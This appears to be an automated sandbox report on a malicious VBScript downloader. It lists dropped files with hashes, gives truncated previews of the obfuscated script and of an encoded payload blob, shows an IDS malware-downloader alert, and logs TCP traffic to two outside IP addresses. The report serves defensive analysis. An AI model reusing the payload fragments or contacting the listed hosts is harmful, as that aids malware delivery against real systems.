SHA-256:	CB9085E349ADFBDB88C026ECEA45D53D989A41DCF5878DA82F3CC591810844D1
SHA-512:	040674E0B2C28EE4E7D909ED558EC268243DB3E47EE6A51BA9E0A202F743DC51B42BA4EBFB8F07F167B0C06789BE90BDDDE3E67CF541F9AA18DF21EEFE7824D8
Malicious:	false
Preview:	@...e...........z....................................@..........\.................8....E...U..........2.Microsoft.BackgroundIntelligentTransfer.Management..H...............o..b~.D.poM......... .Microsoft.PowerShell.ConsoleHost0......................C.l]..7.s........System..4....................D...{..\|f........System.Core.D...............4..7..D.#V.............System.Management.AutomationL.................gQ?O.....x5.......#.Microsoft.Management.Infrastructure.<................t.,.lG....M...........System.Management...@................z.U..G...5.f.1........System.DirectoryServices4.................%...K... ...........System.Xml..<...............i..VdqF...\|...........System.Configuration8..................1...L..U;V.<}........System.Numerics.4.................0..~.J.R...L........System.Data.H................WY..2.M.&..g(g........Microsoft.PowerShell.Security...<................$@...J....M+.B........System.Transactions.P...............8..{...@.e..."4.......%.Microsoft.Po

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_4oim2sg3.bsw.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_b25ugmmv.whp.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_ck202jc0.bsk.ps1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_req1kcmc.n23.psm1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Roaming\BIT7E81.tmp

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	ASCII text, with very long lines (65536), with no line terminators
Category:	dropped
Size (bytes):	418368
Entropy (8bit):	5.942959938550705
Encrypted:	false
SSDEEP:	12288:h7A94nB0+wCEc5lvaPy1Uq91pHgxq/Oer/D:G4nB0yEc5lvaj0exUjD
MD5:	542DEAD508321F2C572B8AB1F5F0A193
SHA1:	77776BC06C4F80E7CD454277A35A8BAA48D6AF85
SHA-256:	1E18BF7FF5767B7D3A370A1B667C5A9117CBE1A85765053B6FF2E53FD6CC7795
SHA-512:	04F2BFA6EA52DAFE52FD6FFA622DDEEDAA2BC936F3E0D3372ED64DBA0556889541490A173285E9B5209555043C8389A9A803EC5EE143344D4129A40F6BAD07FF
Malicious:	false
Preview:	6wL5mHEBm7uqAhwA6wKIe3EBmwNcJARxAZvrAiVOuS142F5xAZvrAojZgemto58IcQGbcQGbgemA1DhWcQGb6wJFkusCmT9xAZu65vzCJusCl7rrAlga6wJ0a3EBmzHKcQGbcQGbiRQLcQGb6wLKidHicQGbcQGbg8EE6wKyh3EBm4H5FgB+A3zNcQGb6wL3NYtEJARxAZvrAj0NicPrAuJKcQGbgcPvW+YA6wKdoOsCpLC6tOrZiOsCrcfrAkdhgcK5Qtxk6wIhhesCTwaBwpPSSRLrAqxBcQGb6wKcousCevxxAZvrAoHUiwwQ6wIn3XEBm4kME3EBm+sCstpCcQGb6wJGdIH6XG4EAHXV6wJqvnEBm4lcJAxxAZvrAjgPge0AAwAA6wL+CXEBm4tUJAhxAZvrAipUi3wkBHEBm+sCH3uJ63EBm+sCS3mBw5wAAABxAZvrAmJ8U3EBm3EBm2pAcQGb6wKEcYnr6wI0eusCHV3HgwABAAAAEJ0DcQGb6wLrvoHDAAEAAOsCcCrrAneVU+sCKvhxAZuJ63EBm3EBm4m7BAEAAOsCVVtxAZuBwwQBAABxAZtxAZtT6wLvaHEBm2r/6wInQesCZ1aDwgXrAujU6wLlGzH2cQGbcQGbMclxAZtxAZuLGusCvmXrArr8QesC+03rAtL1ORwKdfLrAhZS6wIaeUbrAnnU6wIm3oB8Cvu4ddpxAZvrAqw4i0QK/OsCvd7rAvnuKfDrAq67cQGb/9JxAZtxAZu6XG4EAOsCQApxAZsxwOsCVKfrAuNmi3wkDOsCCmLrAm8TgTQHUlJDCusCKpnrAj8Rg8AE6wLJzOsCHC050HXicQGb6wLrpon7cQGb6wKgz//X6wJhGnEBm9u3hI9yrbz1tJ12eNPnY/WtrdkOj/PCj3KtvPUfidYW09dj9a2tdFbTXQ/133K89a0ntF/bt/oRKiLobKWRdsHSqCKLo7zB4ozTsmcEhG+Omdati6PS70QL

C:\Users\user\AppData\Roaming\Inte.reg (copy)

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	ASCII text, with very long lines (65536), with no line terminators
Category:	dropped
Size (bytes):	418368
Entropy (8bit):	5.942959938550705
Encrypted:	false
SSDEEP:	12288:h7A94nB0+wCEc5lvaPy1Uq91pHgxq/Oer/D:G4nB0yEc5lvaj0exUjD
MD5:	542DEAD508321F2C572B8AB1F5F0A193
SHA1:	77776BC06C4F80E7CD454277A35A8BAA48D6AF85
SHA-256:	1E18BF7FF5767B7D3A370A1B667C5A9117CBE1A85765053B6FF2E53FD6CC7795
SHA-512:	04F2BFA6EA52DAFE52FD6FFA622DDEEDAA2BC936F3E0D3372ED64DBA0556889541490A173285E9B5209555043C8389A9A803EC5EE143344D4129A40F6BAD07FF
Malicious:	false
Preview:	6wL5mHEBm7uqAhwA6wKIe3EBmwNcJARxAZvrAiVOuS142F5xAZvrAojZgemto58IcQGbcQGbgemA1DhWcQGb6wJFkusCmT9xAZu65vzCJusCl7rrAlga6wJ0a3EBmzHKcQGbcQGbiRQLcQGb6wLKidHicQGbcQGbg8EE6wKyh3EBm4H5FgB+A3zNcQGb6wL3NYtEJARxAZvrAj0NicPrAuJKcQGbgcPvW+YA6wKdoOsCpLC6tOrZiOsCrcfrAkdhgcK5Qtxk6wIhhesCTwaBwpPSSRLrAqxBcQGb6wKcousCevxxAZvrAoHUiwwQ6wIn3XEBm4kME3EBm+sCstpCcQGb6wJGdIH6XG4EAHXV6wJqvnEBm4lcJAxxAZvrAjgPge0AAwAA6wL+CXEBm4tUJAhxAZvrAipUi3wkBHEBm+sCH3uJ63EBm+sCS3mBw5wAAABxAZvrAmJ8U3EBm3EBm2pAcQGb6wKEcYnr6wI0eusCHV3HgwABAAAAEJ0DcQGb6wLrvoHDAAEAAOsCcCrrAneVU+sCKvhxAZuJ63EBm3EBm4m7BAEAAOsCVVtxAZuBwwQBAABxAZtxAZtT6wLvaHEBm2r/6wInQesCZ1aDwgXrAujU6wLlGzH2cQGbcQGbMclxAZtxAZuLGusCvmXrArr8QesC+03rAtL1ORwKdfLrAhZS6wIaeUbrAnnU6wIm3oB8Cvu4ddpxAZvrAqw4i0QK/OsCvd7rAvnuKfDrAq67cQGb/9JxAZtxAZu6XG4EAOsCQApxAZsxwOsCVKfrAuNmi3wkDOsCCmLrAm8TgTQHUlJDCusCKpnrAj8Rg8AE6wLJzOsCHC050HXicQGb6wLrpon7cQGb6wKgz//X6wJhGnEBm9u3hI9yrbz1tJ12eNPnY/WtrdkOj/PCj3KtvPUfidYW09dj9a2tdFbTXQ/133K89a0ntF/bt/oRKiLobKWRdsHSqCKLo7zB4ozTsmcEhG+Omdati6PS70QL

Static File Info

General

File type:	ASCII text, with CRLF line terminators
Entropy (8bit):	5.307978556733029
TrID:	Visual Basic Script (13500/0) 100.00%
File name:	tmkSAOF3GM.vbs
File size:	14'967 bytes
MD5:	3b95d9711bf763678d21b1bdaacc2981
SHA1:	0ba3540093886e7f97d41bcd0991f24e7c7853ed
SHA256:	25a284f3b492b1ef2573a114972267914935fdd0970888c32e96bdf2f5cf132f
SHA512:	2067fa3dd85d8fd9dd588f9dc17a5afdda941bea45969aa7e7e575cfccd5110039450f89e407e7db4c3e8f203c7c13e06dad0905f9e87433ba6debd5654b8def
SSDEEP:	384:Cavd0J888D0S/DI7wjHkNIW7Qh4zkwQ4aC:CaJD0S/im/WnBiC
TLSH:	E762C55553DE2D3DC9433A3DCD7999066E708D49F11330D87B22BAAF20636A843D8AD7
File Content Preview:	Function Lixene(Oprustningsvanviddet,kirkefestenunconfoun,forestishcathopsygep)..If Oprustningsvanviddet = "Traktatbruddets" Then ....Middleburyfastholdelse = Trim("Nurl") ....End If..If kirkefestenunconfoun = cstr(893638) Then ....Set Bjlenaalensolsikk =

File Icon


Icon Hash:	68d69b8f86ab9a86

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-12-19T12:38:03.679602+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.7	49781	103.120.177.150	443	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 19, 2024 12:37:32.319242001 CET	49711	443	192.168.2.7	107.161.23.150
Dec 19, 2024 12:37:32.319294930 CET	443	49711	107.161.23.150	192.168.2.7
Dec 19, 2024 12:37:32.319396973 CET	49711	443	192.168.2.7	107.161.23.150
Dec 19, 2024 12:37:32.321391106 CET	49711	443	192.168.2.7	107.161.23.150
Dec 19, 2024 12:37:32.321420908 CET	443	49711	107.161.23.150	192.168.2.7
Dec 19, 2024 12:37:33.651288033 CET	443	49711	107.161.23.150	192.168.2.7
Dec 19, 2024 12:37:33.651361942 CET	49711	443	192.168.2.7	107.161.23.150
Dec 19, 2024 12:37:33.654515028 CET	49711	443	192.168.2.7	107.161.23.150
Dec 19, 2024 12:37:33.654529095 CET	443	49711	107.161.23.150	192.168.2.7
Dec 19, 2024 12:37:33.654858112 CET	443	49711	107.161.23.150	192.168.2.7
Dec 19, 2024 12:37:33.696244955 CET	49711	443	192.168.2.7	107.161.23.150
Dec 19, 2024 12:37:33.739327908 CET	443	49711	107.161.23.150	192.168.2.7
Dec 19, 2024 12:37:34.098350048 CET	443	49711	107.161.23.150	192.168.2.7
Dec 19, 2024 12:37:34.098611116 CET	49711	443	192.168.2.7	107.161.23.150
Dec 19, 2024 12:37:34.098632097 CET	443	49711	107.161.23.150	192.168.2.7
Dec 19, 2024 12:37:34.098640919 CET	49711	443	192.168.2.7	107.161.23.150
Dec 19, 2024 12:37:34.098907948 CET	443	49711	107.161.23.150	192.168.2.7
Dec 19, 2024 12:37:34.098963976 CET	443	49711	107.161.23.150	192.168.2.7
Dec 19, 2024 12:37:34.099021912 CET	49711	443	192.168.2.7	107.161.23.150
Dec 19, 2024 12:37:34.134830952 CET	49717	443	192.168.2.7	107.161.23.150
Dec 19, 2024 12:37:34.134876966 CET	443	49717	107.161.23.150	192.168.2.7
Dec 19, 2024 12:37:34.135030985 CET	49717	443	192.168.2.7	107.161.23.150
Dec 19, 2024 12:37:34.135162115 CET	49717	443	192.168.2.7	107.161.23.150
Dec 19, 2024 12:37:34.135173082 CET	443	49717	107.161.23.150	192.168.2.7
Dec 19, 2024 12:37:35.389702082 CET	443	49717	107.161.23.150	192.168.2.7
Dec 19, 2024 12:37:35.391871929 CET	49717	443	192.168.2.7	107.161.23.150
Dec 19, 2024 12:37:35.391983032 CET	443	49717	107.161.23.150	192.168.2.7
Dec 19, 2024 12:37:35.392993927 CET	49717	443	192.168.2.7	107.161.23.150
Dec 19, 2024 12:37:35.393018007 CET	443	49717	107.161.23.150	192.168.2.7
Dec 19, 2024 12:37:35.840400934 CET	443	49717	107.161.23.150	192.168.2.7
Dec 19, 2024 12:37:35.895494938 CET	49717	443	192.168.2.7	107.161.23.150
Dec 19, 2024 12:37:35.964791059 CET	443	49717	107.161.23.150	192.168.2.7
Dec 19, 2024 12:37:35.964804888 CET	443	49717	107.161.23.150	192.168.2.7
Dec 19, 2024 12:37:35.964859009 CET	443	49717	107.161.23.150	192.168.2.7
Dec 19, 2024 12:37:35.964884043 CET	443	49717	107.161.23.150	192.168.2.7
Dec 19, 2024 12:37:35.964910984 CET	443	49717	107.161.23.150	192.168.2.7
Dec 19, 2024 12:37:35.964930058 CET	49717	443	192.168.2.7	107.161.23.150
Dec 19, 2024 12:37:35.964977980 CET	443	49717	107.161.23.150	192.168.2.7
Dec 19, 2024 12:37:35.964996099 CET	49717	443	192.168.2.7	107.161.23.150
Dec 19, 2024 12:37:35.965025902 CET	49717	443	192.168.2.7	107.161.23.150
Dec 19, 2024 12:37:36.077517033 CET	443	49717	107.161.23.150	192.168.2.7
Dec 19, 2024 12:37:36.077543974 CET	443	49717	107.161.23.150	192.168.2.7
Dec 19, 2024 12:37:36.077603102 CET	49717	443	192.168.2.7	107.161.23.150
Dec 19, 2024 12:37:36.077657938 CET	443	49717	107.161.23.150	192.168.2.7
Dec 19, 2024 12:37:36.077676058 CET	49717	443	192.168.2.7	107.161.23.150
Dec 19, 2024 12:37:36.077702045 CET	49717	443	192.168.2.7	107.161.23.150
Dec 19, 2024 12:37:36.124583006 CET	443	49717	107.161.23.150	192.168.2.7
Dec 19, 2024 12:37:36.124605894 CET	443	49717	107.161.23.150	192.168.2.7
Dec 19, 2024 12:37:36.124677896 CET	49717	443	192.168.2.7	107.161.23.150
Dec 19, 2024 12:37:36.124731064 CET	443	49717	107.161.23.150	192.168.2.7
Dec 19, 2024 12:37:36.124747992 CET	49717	443	192.168.2.7	107.161.23.150
Dec 19, 2024 12:37:36.124774933 CET	49717	443	192.168.2.7	107.161.23.150
Dec 19, 2024 12:37:36.243696928 CET	443	49717	107.161.23.150	192.168.2.7
Dec 19, 2024 12:37:36.243726015 CET	443	49717	107.161.23.150	192.168.2.7
Dec 19, 2024 12:37:36.243849993 CET	49717	443	192.168.2.7	107.161.23.150
Dec 19, 2024 12:37:36.243940115 CET	443	49717	107.161.23.150	192.168.2.7
Dec 19, 2024 12:37:36.244009018 CET	49717	443	192.168.2.7	107.161.23.150
Dec 19, 2024 12:37:36.271636963 CET	443	49717	107.161.23.150	192.168.2.7
Dec 19, 2024 12:37:36.271662951 CET	443	49717	107.161.23.150	192.168.2.7
Dec 19, 2024 12:37:36.271881104 CET	49717	443	192.168.2.7	107.161.23.150
Dec 19, 2024 12:37:36.271939993 CET	443	49717	107.161.23.150	192.168.2.7
Dec 19, 2024 12:37:36.271995068 CET	49717	443	192.168.2.7	107.161.23.150
Dec 19, 2024 12:37:36.294085026 CET	443	49717	107.161.23.150	192.168.2.7
Dec 19, 2024 12:37:36.294111013 CET	443	49717	107.161.23.150	192.168.2.7
Dec 19, 2024 12:37:36.294176102 CET	49717	443	192.168.2.7	107.161.23.150
Dec 19, 2024 12:37:36.294203997 CET	443	49717	107.161.23.150	192.168.2.7
Dec 19, 2024 12:37:36.294246912 CET	49717	443	192.168.2.7	107.161.23.150
Dec 19, 2024 12:37:36.320144892 CET	443	49717	107.161.23.150	192.168.2.7
Dec 19, 2024 12:37:36.320167065 CET	443	49717	107.161.23.150	192.168.2.7
Dec 19, 2024 12:37:36.320365906 CET	49717	443	192.168.2.7	107.161.23.150
Dec 19, 2024 12:37:36.320446014 CET	443	49717	107.161.23.150	192.168.2.7
Dec 19, 2024 12:37:36.320532084 CET	49717	443	192.168.2.7	107.161.23.150
Dec 19, 2024 12:37:36.431540966 CET	443	49717	107.161.23.150	192.168.2.7
Dec 19, 2024 12:37:36.431566954 CET	443	49717	107.161.23.150	192.168.2.7
Dec 19, 2024 12:37:36.431637049 CET	49717	443	192.168.2.7	107.161.23.150
Dec 19, 2024 12:37:36.431677103 CET	443	49717	107.161.23.150	192.168.2.7
Dec 19, 2024 12:37:36.431705952 CET	49717	443	192.168.2.7	107.161.23.150
Dec 19, 2024 12:37:36.431736946 CET	49717	443	192.168.2.7	107.161.23.150
Dec 19, 2024 12:37:36.448298931 CET	443	49717	107.161.23.150	192.168.2.7
Dec 19, 2024 12:37:36.448323965 CET	443	49717	107.161.23.150	192.168.2.7
Dec 19, 2024 12:37:36.448390007 CET	49717	443	192.168.2.7	107.161.23.150
Dec 19, 2024 12:37:36.448409081 CET	443	49717	107.161.23.150	192.168.2.7
Dec 19, 2024 12:37:36.448456049 CET	49717	443	192.168.2.7	107.161.23.150
Dec 19, 2024 12:37:36.448494911 CET	49717	443	192.168.2.7	107.161.23.150
Dec 19, 2024 12:37:36.466229916 CET	443	49717	107.161.23.150	192.168.2.7
Dec 19, 2024 12:37:36.466259003 CET	443	49717	107.161.23.150	192.168.2.7
Dec 19, 2024 12:37:36.466377974 CET	49717	443	192.168.2.7	107.161.23.150
Dec 19, 2024 12:37:36.466403008 CET	443	49717	107.161.23.150	192.168.2.7
Dec 19, 2024 12:37:36.466469049 CET	49717	443	192.168.2.7	107.161.23.150
Dec 19, 2024 12:37:36.484159946 CET	443	49717	107.161.23.150	192.168.2.7
Dec 19, 2024 12:37:36.484186888 CET	443	49717	107.161.23.150	192.168.2.7
Dec 19, 2024 12:37:36.484297991 CET	49717	443	192.168.2.7	107.161.23.150
Dec 19, 2024 12:37:36.484313011 CET	443	49717	107.161.23.150	192.168.2.7
Dec 19, 2024 12:37:36.484378099 CET	49717	443	192.168.2.7	107.161.23.150
Dec 19, 2024 12:37:36.502029896 CET	443	49717	107.161.23.150	192.168.2.7
Dec 19, 2024 12:37:36.502048016 CET	443	49717	107.161.23.150	192.168.2.7
Dec 19, 2024 12:37:36.502151966 CET	49717	443	192.168.2.7	107.161.23.150
Dec 19, 2024 12:37:36.502171040 CET	443	49717	107.161.23.150	192.168.2.7
Dec 19, 2024 12:37:36.502212048 CET	49717	443	192.168.2.7	107.161.23.150
Dec 19, 2024 12:37:36.538423061 CET	443	49717	107.161.23.150	192.168.2.7
Dec 19, 2024 12:37:36.538451910 CET	443	49717	107.161.23.150	192.168.2.7
Dec 19, 2024 12:37:36.538584948 CET	49717	443	192.168.2.7	107.161.23.150
Dec 19, 2024 12:37:36.538618088 CET	443	49717	107.161.23.150	192.168.2.7
Dec 19, 2024 12:37:36.538666010 CET	49717	443	192.168.2.7	107.161.23.150
Dec 19, 2024 12:37:36.616792917 CET	443	49717	107.161.23.150	192.168.2.7
Dec 19, 2024 12:37:36.616864920 CET	443	49717	107.161.23.150	192.168.2.7
Dec 19, 2024 12:37:36.616930008 CET	49717	443	192.168.2.7	107.161.23.150
Dec 19, 2024 12:37:36.617031097 CET	443	49717	107.161.23.150	192.168.2.7
Dec 19, 2024 12:37:36.617070913 CET	49717	443	192.168.2.7	107.161.23.150
Dec 19, 2024 12:37:36.617094994 CET	49717	443	192.168.2.7	107.161.23.150
Dec 19, 2024 12:37:36.629893064 CET	443	49717	107.161.23.150	192.168.2.7
Dec 19, 2024 12:37:36.629957914 CET	443	49717	107.161.23.150	192.168.2.7
Dec 19, 2024 12:37:36.630017996 CET	49717	443	192.168.2.7	107.161.23.150
Dec 19, 2024 12:37:36.630043983 CET	443	49717	107.161.23.150	192.168.2.7
Dec 19, 2024 12:37:36.630074024 CET	49717	443	192.168.2.7	107.161.23.150
Dec 19, 2024 12:37:36.630096912 CET	49717	443	192.168.2.7	107.161.23.150
Dec 19, 2024 12:37:36.641288042 CET	443	49717	107.161.23.150	192.168.2.7
Dec 19, 2024 12:37:36.641324043 CET	443	49717	107.161.23.150	192.168.2.7
Dec 19, 2024 12:37:36.641381979 CET	49717	443	192.168.2.7	107.161.23.150
Dec 19, 2024 12:37:36.641403913 CET	443	49717	107.161.23.150	192.168.2.7
Dec 19, 2024 12:37:36.641422033 CET	49717	443	192.168.2.7	107.161.23.150
Dec 19, 2024 12:37:36.641480923 CET	49717	443	192.168.2.7	107.161.23.150
Dec 19, 2024 12:37:36.654539108 CET	443	49717	107.161.23.150	192.168.2.7
Dec 19, 2024 12:37:36.654567957 CET	443	49717	107.161.23.150	192.168.2.7
Dec 19, 2024 12:37:36.654628992 CET	49717	443	192.168.2.7	107.161.23.150
Dec 19, 2024 12:37:36.654650927 CET	443	49717	107.161.23.150	192.168.2.7
Dec 19, 2024 12:37:36.654680967 CET	49717	443	192.168.2.7	107.161.23.150
Dec 19, 2024 12:37:36.654704094 CET	49717	443	192.168.2.7	107.161.23.150
Dec 19, 2024 12:37:36.664742947 CET	443	49717	107.161.23.150	192.168.2.7
Dec 19, 2024 12:37:36.664768934 CET	443	49717	107.161.23.150	192.168.2.7
Dec 19, 2024 12:37:36.664886951 CET	49717	443	192.168.2.7	107.161.23.150
Dec 19, 2024 12:37:36.664896011 CET	443	49717	107.161.23.150	192.168.2.7
Dec 19, 2024 12:37:36.664941072 CET	49717	443	192.168.2.7	107.161.23.150
Dec 19, 2024 12:37:36.671912909 CET	443	49717	107.161.23.150	192.168.2.7
Dec 19, 2024 12:37:36.671933889 CET	443	49717	107.161.23.150	192.168.2.7
Dec 19, 2024 12:37:36.672020912 CET	49717	443	192.168.2.7	107.161.23.150
Dec 19, 2024 12:37:36.672028065 CET	443	49717	107.161.23.150	192.168.2.7
Dec 19, 2024 12:37:36.672069073 CET	49717	443	192.168.2.7	107.161.23.150
Dec 19, 2024 12:37:36.679349899 CET	443	49717	107.161.23.150	192.168.2.7
Dec 19, 2024 12:37:36.679373026 CET	443	49717	107.161.23.150	192.168.2.7
Dec 19, 2024 12:37:36.679449081 CET	49717	443	192.168.2.7	107.161.23.150
Dec 19, 2024 12:37:36.679455996 CET	443	49717	107.161.23.150	192.168.2.7
Dec 19, 2024 12:37:36.679511070 CET	49717	443	192.168.2.7	107.161.23.150
Dec 19, 2024 12:37:36.685894966 CET	443	49717	107.161.23.150	192.168.2.7
Dec 19, 2024 12:37:36.685914040 CET	443	49717	107.161.23.150	192.168.2.7
Dec 19, 2024 12:37:36.686044931 CET	49717	443	192.168.2.7	107.161.23.150
Dec 19, 2024 12:37:36.686052084 CET	443	49717	107.161.23.150	192.168.2.7
Dec 19, 2024 12:37:36.686101913 CET	49717	443	192.168.2.7	107.161.23.150
Dec 19, 2024 12:37:36.808104992 CET	443	49717	107.161.23.150	192.168.2.7
Dec 19, 2024 12:37:36.808136940 CET	443	49717	107.161.23.150	192.168.2.7
Dec 19, 2024 12:37:36.808247089 CET	49717	443	192.168.2.7	107.161.23.150
Dec 19, 2024 12:37:36.808280945 CET	443	49717	107.161.23.150	192.168.2.7
Dec 19, 2024 12:37:36.808326960 CET	49717	443	192.168.2.7	107.161.23.150
Dec 19, 2024 12:37:36.813972950 CET	443	49717	107.161.23.150	192.168.2.7
Dec 19, 2024 12:37:36.813990116 CET	443	49717	107.161.23.150	192.168.2.7
Dec 19, 2024 12:37:36.814073086 CET	49717	443	192.168.2.7	107.161.23.150
Dec 19, 2024 12:37:36.814095974 CET	443	49717	107.161.23.150	192.168.2.7
Dec 19, 2024 12:37:36.814166069 CET	49717	443	192.168.2.7	107.161.23.150
Dec 19, 2024 12:37:36.820734978 CET	443	49717	107.161.23.150	192.168.2.7
Dec 19, 2024 12:37:36.820753098 CET	443	49717	107.161.23.150	192.168.2.7
Dec 19, 2024 12:37:36.820835114 CET	49717	443	192.168.2.7	107.161.23.150
Dec 19, 2024 12:37:36.820862055 CET	443	49717	107.161.23.150	192.168.2.7
Dec 19, 2024 12:37:36.820903063 CET	49717	443	192.168.2.7	107.161.23.150
Dec 19, 2024 12:37:36.827533007 CET	443	49717	107.161.23.150	192.168.2.7
Dec 19, 2024 12:37:36.827553034 CET	443	49717	107.161.23.150	192.168.2.7
Dec 19, 2024 12:37:36.827685118 CET	49717	443	192.168.2.7	107.161.23.150
Dec 19, 2024 12:37:36.827708006 CET	443	49717	107.161.23.150	192.168.2.7
Dec 19, 2024 12:37:36.827749968 CET	49717	443	192.168.2.7	107.161.23.150
Dec 19, 2024 12:37:36.830636978 CET	443	49717	107.161.23.150	192.168.2.7
Dec 19, 2024 12:37:36.830702066 CET	443	49717	107.161.23.150	192.168.2.7
Dec 19, 2024 12:37:36.830734015 CET	49717	443	192.168.2.7	107.161.23.150
Dec 19, 2024 12:37:36.830777884 CET	49717	443	192.168.2.7	107.161.23.150
Dec 19, 2024 12:37:36.830912113 CET	49717	443	192.168.2.7	107.161.23.150
Dec 19, 2024 12:37:36.830934048 CET	443	49717	107.161.23.150	192.168.2.7
Dec 19, 2024 12:37:36.830945969 CET	49717	443	192.168.2.7	107.161.23.150
Dec 19, 2024 12:37:36.830951929 CET	443	49717	107.161.23.150	192.168.2.7
Dec 19, 2024 12:38:00.697405100 CET	49781	443	192.168.2.7	103.120.177.150
Dec 19, 2024 12:38:00.697463036 CET	443	49781	103.120.177.150	192.168.2.7
Dec 19, 2024 12:38:00.697545052 CET	49781	443	192.168.2.7	103.120.177.150
Dec 19, 2024 12:38:00.709702015 CET	49781	443	192.168.2.7	103.120.177.150
Dec 19, 2024 12:38:00.709727049 CET	443	49781	103.120.177.150	192.168.2.7
Dec 19, 2024 12:38:02.600188017 CET	443	49781	103.120.177.150	192.168.2.7
Dec 19, 2024 12:38:02.600279093 CET	49781	443	192.168.2.7	103.120.177.150
Dec 19, 2024 12:38:03.079015017 CET	49781	443	192.168.2.7	103.120.177.150
Dec 19, 2024 12:38:03.079076052 CET	443	49781	103.120.177.150	192.168.2.7
Dec 19, 2024 12:38:03.080146074 CET	443	49781	103.120.177.150	192.168.2.7
Dec 19, 2024 12:38:03.080223083 CET	49781	443	192.168.2.7	103.120.177.150
Dec 19, 2024 12:38:03.116400957 CET	49781	443	192.168.2.7	103.120.177.150
Dec 19, 2024 12:38:03.159356117 CET	443	49781	103.120.177.150	192.168.2.7
Dec 19, 2024 12:38:03.679624081 CET	443	49781	103.120.177.150	192.168.2.7
Dec 19, 2024 12:38:03.679660082 CET	443	49781	103.120.177.150	192.168.2.7
Dec 19, 2024 12:38:03.679769993 CET	49781	443	192.168.2.7	103.120.177.150
Dec 19, 2024 12:38:03.679821968 CET	443	49781	103.120.177.150	192.168.2.7
Dec 19, 2024 12:38:03.679883003 CET	49781	443	192.168.2.7	103.120.177.150
Dec 19, 2024 12:38:03.902662992 CET	443	49781	103.120.177.150	192.168.2.7
Dec 19, 2024 12:38:03.902681112 CET	443	49781	103.120.177.150	192.168.2.7
Dec 19, 2024 12:38:03.902827978 CET	49781	443	192.168.2.7	103.120.177.150
Dec 19, 2024 12:38:03.928363085 CET	443	49781	103.120.177.150	192.168.2.7
Dec 19, 2024 12:38:03.928503036 CET	49781	443	192.168.2.7	103.120.177.150
Dec 19, 2024 12:38:03.953608990 CET	443	49781	103.120.177.150	192.168.2.7
Dec 19, 2024 12:38:03.953713894 CET	49781	443	192.168.2.7	103.120.177.150
Dec 19, 2024 12:38:03.987631083 CET	443	49781	103.120.177.150	192.168.2.7
Dec 19, 2024 12:38:03.987926006 CET	49781	443	192.168.2.7	103.120.177.150
Dec 19, 2024 12:38:04.142457008 CET	443	49781	103.120.177.150	192.168.2.7
Dec 19, 2024 12:38:04.142538071 CET	49781	443	192.168.2.7	103.120.177.150
Dec 19, 2024 12:38:04.162655115 CET	443	49781	103.120.177.150	192.168.2.7
Dec 19, 2024 12:38:04.162744999 CET	49781	443	192.168.2.7	103.120.177.150
Dec 19, 2024 12:38:04.186760902 CET	443	49781	103.120.177.150	192.168.2.7
Dec 19, 2024 12:38:04.186904907 CET	49781	443	192.168.2.7	103.120.177.150
